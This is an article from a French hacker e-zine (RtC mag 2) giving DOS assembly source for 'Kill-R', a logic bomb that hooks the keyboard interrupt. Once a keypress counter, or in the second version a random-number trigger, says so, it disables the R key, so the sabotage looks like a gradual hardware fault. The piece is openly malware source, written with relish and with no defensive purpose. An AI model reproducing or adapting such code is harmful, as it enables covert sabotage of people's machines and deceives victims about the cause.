-------[  RtC Mag, At the end of the universe  ]

--------------[  La Bombe du mag : Kill-R  ]
---------[ in RtC mag 2 ]
----[  by Androgyne <androgyne-rtc@fr.st>  ]


-------[  Simulation n1

	Cette fois, la bombe va simuler une panne clavier (voir l'article Virus et dommages matriels). Nous allons dtourner l'interruption 09h. Ce code est un peu plus complexe qu'auparavant mais il faut savoir voluer et aborder des domaines un peu plus hardus...

	J'ai baptis cette bombe Kill-R. Elle cause une pseudo-dfaillance sur la touche R. Dans la premire version ci dessous, on utilise une gachette triviale, un compteur que l'on incrmente. Aprs avoir appuy sur 20000 touches (c'est  dire 20000 appels  l'interruption 09h), la bombe explose, le R devient inutilisable.

--- KILL-R.ASM ----------------------------------------------------------------

NEW_INT_09:
	push ax
	in al,60h
	test al,80h
	pop ax
	jnz INT_09
	call TRIGGER
	jnz INT_09
	call BOMB
  INT_09:
	jmp dword ptr cs:[Old_09]

TRIGGER:
	inc cs:[Counter]
	cmp [Counter],4E20h		;counter=20000?
	jnc NEXT
	mov byte ptr [Activated],1
  NEXT:
	cmp [Activated],1
	ret

BOMB:
	push ax
	in al,60h
	or al,80h
	cmp al,43h
	pop ax
	jnz INT_09
	push ax
	mov al,20h
	out 20h,al
	pop ax
	iret

Counter dw 0
Activated db 0

--- KILL-R.ASM ----------------------------------------------------------------


-------[  Simulation n2


	Cette premire version peut tre amliore par l'ajout d'un gnrateur de nombres alatoires. Le compteur dmarre  M/4 (c'est  dire qu'au dbut, le R a 25% de chances de ne pas marcher). Puis le compteur est incrment  chaque touche presse... Le R va donc mettre quelques jours  devenir inutilisable : une "vraie" panne bien simule.


--- GNPA.ASM ------------------------------------------------------------------

;Linear Congruential Pseudo Random Number Generator
;the equation is X(n+1) = (A*X(n) + C) mod M

M equ 43691
A equ 13
C equ 14449

GET_RANDOM:
	push bx
	push cx
	push dx
	mov ax,[Rand_Seed]
	mov cx,A
	mul cx
	add ax,C
	adc dx,0
	mov cx,M
	div cx
	mov ax,dx
	mov [Rand_Seed],ax
	pop dx
	pop cx
	pop bx
	ret

Rand_Seed dw 0

--- GNPA.ASM ------------------------------------------------------------------


	Et on remplace la routine TRIGGER par celle-ci...


--- TRIGGER.ASM ---------------------------------------------------------------

TRIGGER:
	push ax
	call GET_RANDOM
	inc cs:[Rand_Counter]
	cmp [Rand_Counter],ax
	pop ax
	jnc NEXT:
	mov byte ptr [Activated],1
  NEXT:
	cmp [Activated],1
	ret

Rand_Counter dw 10922			;=M/4
Activated db 0

--- TRIGGER.ASM ---------------------------------------------------------------

    La simulation, je trouve a encore meilleur que la ralit ! hehe !


-------[  EOF
